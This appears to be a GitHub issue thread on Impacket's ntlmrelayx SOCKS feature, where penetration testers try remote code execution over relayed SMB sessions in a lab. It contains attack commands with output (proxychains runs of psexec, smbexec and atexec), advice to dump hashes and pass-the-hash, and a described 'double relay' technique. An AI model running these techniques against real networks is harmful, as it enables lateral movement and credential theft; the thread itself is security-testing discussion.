Code execution over ntlmrelayx socks connection

[Gilks]

When using ntlmrelayx.py and the -socks argument, users are able to reuse captured connections over socks. I'm able to use various impacket tools such as secretsdump.py or even enumerid.

Example:
ntlmrelayx.py -t 172.20.220.217 -smb2support -socks

However, I am not able to use any of the following tools (see below) with proxychains4 using the socks tunnel on 1080. This is in a dev environment where I explicitly enabled the built-in Administrator account for testing.

So my question two questions are:

• Assuming the user is an Administrator- are you able to get code execution on machines where a socks connection has been established?

• Is it possible to re-initiate an SMB connection over the socks tunnel to your attacking machine and relay it to additional hosts? The consequences of this would be pretty intense.

1. psexec.py

>> proxychains4 python psexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                            16:25:02
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.11
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK
[-] Authenticated as Guest. Aborting
[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK

2. wmiexec.py

>> proxychains4 python wmiexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                           16:28:38
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.11
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:135 <--denied
[-] Could not connect: [Errno 111] Connection refused

3. dcomexec.py

>> proxychains4 python dcomexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                          16:28:44
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.11
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:135 <--denied
[-] Could not connect: [Errno 111] Connection refused

[Gilks]

It should also be noted that while two of the outputs say "connection refused" that if I don't use the socks tunnel, I am able to get right in.

[asolino]

Hey @Gilks

Indeed neither psexec.py, wmiexec.py and dcomexec.py will work with this approach. There reasons are more than one:

1. In the case of psexec.py, there are four SMB connections opened against the target (standard error, input, output and control). Since you have a single connection relayed (and ntlmrelayx.py does not support more than a single connection against a combination of user/target/service) when the script tries to open the second connection the SOCKS server will fail. The SOCKS SMB server should actually return a fancier error, but oh well.. still in development. In theory, we could support this scenario but it would require either ntlmrelayx.py to support multiple connections against the same target, or to do some protocol multiplexing. I have some ideas so maybe you'll see something in the future.

2. wmiexec.py and dcomexec.py: Similar situations as psexec.py (more than once connection opened), but also, both scripts use DCOM. As you can see in your output, the scripts are trying to connect to port 135 (endpoint mapper) in order to get the TCP/IP port where the DCOM endpoint is listening (that is a dynamic port). Port 135 is not relayed so you won't get any answers. But even if you do, the port that later on you will be connecting to, will require signed packets (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY at minimum), and that's something we won't be able to do for relayed sessions (this is analogous to SMB Signing).

With regards to your questions:

Assuming the user is an Administrator- are you able to get code execution on machines where a socks connection has been established?

Have you tried smbexec.py and atexec.py Those two should work since they use a single connection. In any case, if you can do remote code execution, that means you're Administrator. The very first thing I'd do is to run secretsdump.py against the target and then, without the SOCKS proxy run any of the scripts you mentioned doing pass-the-hash against the targets ;).

Is it possible to re-initiate an SMB connection over the socks tunnel to your attacking machine and relay it to additional hosts? The consequences of this would be pretty intense.

Don't know I fully understand your question, please elaborate.

Great to know you're using ntlmrelayx.py with the -socks support. I see you have used it only to target SMB servers, but just in case, know that you can target other protocols (e.g. MSSQL and then use mssqlclient.py through proxychains).

[Gilks]

Interesting, I never knew that psexec required 4 separate SMB connections. I also was not aware that wmi/dcom both required signed packets.. There's a couple fun facts for the day. Thank you for the insight!

Have you tried smbexec.py and atexec.py..

I did not try these two options before you suggested it. I gave them a try this morning and was met with the results below. It should be noted that I was able to get both tools working by providing the password.

..The very first thing I'd do is to run secretsdump.py..

I'm a pretty big fan of this attack. However, in more mature environments built-in Administrator tends to be disabled. In this scenario, the tester is forced to crack dumped hashes even if they captured an elevated account and established a SOCKS connection.

Don't know I fully understand your question, please elaborate.

Certainly! This would be much easier to explain with a white board but I'll call upon my paint skills to get the job done. Here's a visual example. If the Attacker can reinitialize an SMB request through the SOCKS tunnel (green) back to himself (blue) then they could theoretically relay it to another victim (purple).

If this is possible, that means an attacker could use a single socks connection to relay to all hosts in the network. This would only be useful if you were able to reinitialize the SMB request as a standard user as it would allow the Attacker to hunt for a machine where the user is an Administrator.

On an unrelated note, this idea stemmed from an attack I use on engagements where I'll relay to a machine and find there are no credentials in memory. I'll impersonate a delegation token and then run net use z: \\<ntlmrelayx IP>\c$ which will often times provide code execution on another machine. I don't know what to call this technique, perhaps the "double relay attack"?

1. atexec.py

>> proxychains4 python atexec.py WORKGROUP/Administrator@172.20.220.223 ipconfig -no-pass                                                                    8:47:49
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.11
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[!] This will work ONLY on Windows >= Vista
[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.223:445  ...  OK
[*] Creating task \OgEjzXFH
[-] rpc_s_access_denied

2. smbexec.py

proxychains4 python smbexec.py WORKGROUP/Administrator@172.20.220.223 -no-pass                                                                            8:45:50
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.11
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.223:445  ...  OK
[-] ("Unpacked data doesn't match constant value ''\\xfeSMB'' should be ''\\xffSMB''", 'When unpacking field \'Signature | "\xffSMB | \'\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00\\x01\\x00\\xff\\x02\\x00\\x00HbBeLtlljBPrYbBr\\x07\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00-L\\x8b\\xc9\\xc5\\xd3\\x01\\x00-L\\x8b\\xc9\\xc5\\xd3\\x01\\x80\\x00*\\x00\\x00\\x00\\x00\\x00`(\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0\\x1e0\\x1c\\xa0\\x1a0\\x18\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\x1e\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\'[:4]\'')

[asolino]

Hey @Gilks

Thanks for your answer.. I will need some time to go over it and get a reply to you. However, I see you're using impacket 0.9.16-dev and we're on 0.9.17-dev already. Could you re-do your tests again with the latest master version installed? Just in case something got fixed in the middle.

[Gilks]

That was probably the fastest reply I've ever received on github.

I have performed the update and attempted to use the following tools using 0.9.17-dev:

1. smbexec.py
2. atexec.py

During both tests the output remained the same as the one posted above. The only difference is the impacket version number 0.9.17-dev instead of 0.9.16-dev.

[0xhexmex]

I know this is a semi-stale thread but just wanted to point out in my testing with v0.9.18-dev, I got successful code execution over a socks connection using smbexec.py. Awesome work!

[Gilks]

I'll try this out with v0.9.18-dev and report back! If this works, I'll split a virtual beer with you @0xhexmex and @asolino.

[asolino]

Looking forward to reading the results.

[asolino]

No answer, closing.

[japd06]

Hi, I'm still having issues to do RCE using smbexec.py with a valid admin session. I get the error of "unpacket data doesn't match constant value" as described above. I'm using Impacket v0.9.20-dev

[nin-ack]

Hi, I'm still having issues to do RCE using smbexec.py with a valid admin session. I get the error of "unpacket data doesn't match constant value" as described above. I'm using Impacket v0.9.20-dev

Can confirm that this behavior is still occurring with smbexec.py - impacket 0.9.19.

[-] ("Unpacked data doesn't match constant value ''\\xfeSMB'' should be ''\\xffSMB''", 'When unpacking field \'Signature | "\xffSMB | \'\\xfeSMB

[7MinSec]

Hi,

I'm finding the same behavior/error as @nin-ack and @japd06, but I need to get some sleep and try again because maybe it's a PEBCAK. @0xhexmex would you mind posting your smbexec.py command syntax just so I can sanity-check it on my end?

Thanks,
Brian

[ad0nis]

Any chance of this content making it into a wiki for impacket? -- @asolino's explanation is great! I find that I'm often linking people to this bug when they want to understand what they can and can't do over an SMB relay, and it feels odd to link to a closed issue.